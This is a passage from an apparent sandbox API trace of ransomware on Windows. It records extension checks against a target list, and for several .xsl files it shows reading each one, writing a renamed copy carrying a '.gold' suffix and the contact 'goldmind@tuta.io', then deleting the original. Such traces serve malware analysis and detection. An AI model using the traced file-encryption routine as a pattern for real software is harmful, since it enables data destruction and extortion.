[0045.234] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0045.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0045.234] lstrlenW (lpString=".dbf") returned 4 [0045.234] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0045.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0045.234] lstrlenW (lpString=".1cd") returned 4 [0045.234] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0045.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0045.234] lstrlenW (lpString=".jpg") returned 4 [0045.234] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0045.234] lstrcmpiW (lpString1=".xsl", lpString2=".gold") returned 1 [0045.234] lstrlenW (lpString="sql2000.xsl") returned 11 [0045.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.147] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=34076) returned 1 [0046.147] CloseHandle (hObject=0x20c) returned 1 [0046.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0046.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.147] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0046.147] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0046.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0046.147] GetLastError () returned 0x0 [0046.148] ReadFile (in: hFile=0x20c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x851c, lpOverlapped=0x0) returned 1 [0046.149] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x8520, lpOverlapped=0x0) returned 1 [0046.150] ReadFile (in: hFile=0x20c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0046.150] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.150] SetEndOfFile (hFile=0x1a0) returned 1 [0046.151] CloseHandle (hObject=0x1a0) returned 1 [0046.151] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0046.151] SetEndOfFile (hFile=0x20c) returned 1 [0046.233] CloseHandle (hObject=0x20c) returned 1 [0046.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 1 [0046.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0046.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0046.235] lstrlenW (lpString=".doc") returned 4 [0046.235] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0046.235] lstrlenW (lpString=".docx") returned 5 [0046.235] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0046.235] lstrlenW (lpString=".pdf") returned 4 [0046.235] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0046.235] lstrlenW (lpString=".xls") returned 4 [0046.235] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0046.235] lstrlenW (lpString=".xlsx") returned 5 [0046.235] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0046.235] lstrlenW (lpString=".ppt") returned 4 [0046.235] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0046.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0046.235] lstrlenW (lpString=".zip") returned 4 [0046.235] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0046.235] lstrlenW (lpString=".rar") returned 4 [0046.235] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0046.235] lstrlenW (lpString=".bz2") returned 4 [0046.235] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0046.235] lstrlenW (lpString=".7z") returned 3 [0046.236] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0046.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0046.236] lstrlenW (lpString=".dbf") returned 4 [0046.236] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0046.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0046.236] lstrlenW (lpString=".1cd") returned 4 [0046.236] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0046.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0046.236] lstrlenW (lpString=".jpg") returned 4 [0046.236] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0046.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0046.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0046.236] lstrlenW (lpString=".doc") returned 4 [0046.236] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0046.236] lstrlenW (lpString=".docx") returned 5 [0046.236] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0046.236] lstrlenW (lpString=".pdf") returned 4 [0046.236] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0046.236] lstrlenW (lpString=".xls") returned 4 [0046.236] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0046.236] lstrlenW (lpString=".xlsx") returned 5 [0046.236] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0046.236] lstrlenW (lpString=".ppt") returned 4 [0046.236] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0046.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0046.236] lstrlenW (lpString=".zip") returned 4 [0046.236] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0046.236] lstrlenW (lpString=".rar") returned 4 [0046.236] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0046.236] lstrlenW (lpString=".bz2") returned 4 [0046.236] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0046.237] lstrlenW (lpString=".7z") returned 3 [0046.237] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0046.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0046.237] lstrlenW (lpString=".dbf") returned 4 [0046.237] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0046.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0046.237] lstrlenW (lpString=".1cd") returned 4 [0046.240] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0046.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0046.240] lstrlenW (lpString=".jpg") returned 4 [0046.240] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0046.240] lstrcmpiW (lpString1=".xsl", lpString2=".gold") returned 1 [0046.240] lstrlenW (lpString="sql70.xsl") returned 9 [0046.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.241] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=32146) returned 1 [0046.241] CloseHandle (hObject=0x20c) returned 1 [0046.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0046.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.241] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0046.241] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0046.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0046.242] GetLastError () returned 0x0 [0046.242] ReadFile (in: hFile=0x20c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x7d92, lpOverlapped=0x0) returned 1 [0046.243] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x7da0, lpOverlapped=0x0) returned 1 [0046.244] ReadFile (in: hFile=0x20c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0046.244] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.244] SetEndOfFile (hFile=0x1a0) returned 1 [0046.244] CloseHandle (hObject=0x1a0) returned 1 [0046.245] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0046.245] SetEndOfFile (hFile=0x20c) returned 1 [0046.245] CloseHandle (hObject=0x20c) returned 1 [0046.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 1 [0046.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0046.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0046.246] lstrlenW (lpString=".doc") returned 4 [0046.246] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0046.246] lstrlenW (lpString=".docx") returned 5 [0046.246] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0046.246] lstrlenW (lpString=".pdf") returned 4 [0046.246] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0046.246] lstrlenW (lpString=".xls") returned 4 [0046.246] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0046.246] lstrlenW (lpString=".xlsx") returned 5 [0046.246] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0046.246] lstrlenW (lpString=".ppt") returned 4 [0046.246] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0046.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0046.246] lstrlenW (lpString=".zip") returned 4 [0046.246] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0046.246] lstrlenW (lpString=".rar") returned 4 [0046.246] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0046.246] lstrlenW (lpString=".bz2") returned 4 [0046.246] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0046.246] lstrlenW (lpString=".7z") returned 3 [0046.246] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0046.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0046.246] lstrlenW (lpString=".dbf") returned 4 [0046.246] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0046.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0046.246] lstrlenW (lpString=".1cd") returned 4 [0046.246] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0046.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0046.247] lstrlenW (lpString=".jpg") returned 4 [0046.247] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0046.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0046.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0046.247] lstrlenW (lpString=".doc") returned 4 [0046.247] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0046.247] lstrlenW (lpString=".docx") returned 5 [0046.247] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0046.247] lstrlenW (lpString=".pdf") returned 4 [0046.247] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0046.247] lstrlenW (lpString=".xls") returned 4 [0046.247] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0046.247] lstrlenW (lpString=".xlsx") returned 5 [0046.247] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0046.247] lstrlenW (lpString=".ppt") returned 4 [0046.247] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0046.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0046.247] lstrlenW (lpString=".zip") returned 4 [0046.247] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0046.247] lstrlenW (lpString=".rar") returned 4 [0046.247] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0046.247] lstrlenW (lpString=".bz2") returned 4 [0046.247] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0046.247] lstrlenW (lpString=".7z") returned 3 [0046.247] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0046.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0046.247] lstrlenW (lpString=".dbf") returned 4 [0046.247] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0046.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0046.247] lstrlenW (lpString=".1cd") returned 4 [0046.247] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0046.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0046.247] lstrlenW (lpString=".jpg") returned 4 [0046.247] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0046.247] lstrcmpiW (lpString1=".xsl", lpString2=".gold") returned 1 [0046.247] lstrlenW (lpString="sql90.xsl") returned 9 [0046.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.248] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=39515) returned 1 [0046.248] CloseHandle (hObject=0x20c) returned 1 [0046.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0046.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.248] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0046.248] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0046.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0046.248] GetLastError () returned 0x0 [0046.248] ReadFile (in: hFile=0x20c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x9a5b, lpOverlapped=0x0) returned 1 [0046.250] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x9a60, lpOverlapped=0x0) returned 1 [0046.251] ReadFile (in: hFile=0x20c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0046.251] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.251] SetEndOfFile (hFile=0x1a0) returned 1 [0046.251] CloseHandle (hObject=0x1a0) returned 1 [0046.251] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0046.251] SetEndOfFile (hFile=0x20c) returned 1 [0046.252] CloseHandle (hObject=0x20c) returned 1 [0046.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.252] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 1 [0046.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0046.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0046.252] lstrlenW (lpString=".doc") returned 4 [0046.252] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0046.252] lstrlenW (lpString=".docx") returned 5 [0046.252] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0046.252] lstrlenW (lpString=".pdf") returned 4 [0046.252] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0046.252] lstrlenW (lpString=".xls") returned 4 [0046.252] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0046.252] lstrlenW (lpString=".xlsx") returned 5 [0046.252] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0046.252] lstrlenW (lpString=".ppt") returned 4 [0046.252] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0046.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0046.252] lstrlenW (lpString=".zip") returned 4 [0046.252] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0046.252] lstrlenW (lpString=".rar") returned 4 [0046.252] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0046.252] lstrlenW (lpString=".bz2") returned 4 [0046.253] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0046.253] lstrlenW (lpString=".7z") returned 3 [0046.253] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0046.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0046.253] lstrlenW (lpString=".dbf") returned 4 [0046.253] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0046.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0046.253] lstrlenW (lpString=".1cd") returned 4 [0046.253] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0046.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0046.253] lstrlenW (lpString=".jpg") returned 4 [0046.253] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0046.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0046.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0046.253] lstrlenW (lpString=".doc") returned 4 [0046.253] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0046.253] lstrlenW (lpString=".docx") returned 5 [0046.253] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0046.253] lstrlenW (lpString=".pdf") returned 4 [0046.253] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0046.253] lstrlenW (lpString=".xls") returned 4 [0046.253] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0046.253] lstrlenW (lpString=".xlsx") returned 5 [0046.253] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0046.253] lstrlenW (lpString=".ppt") returned 4 [0046.253] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0046.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0046.253] lstrlenW (lpString=".zip") returned 4 [0046.253] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0046.253] lstrlenW (lpString=".rar") returned 4 [0046.253] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0046.253] lstrlenW (lpString=".bz2") returned 4 [0046.253] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0046.253] lstrlenW 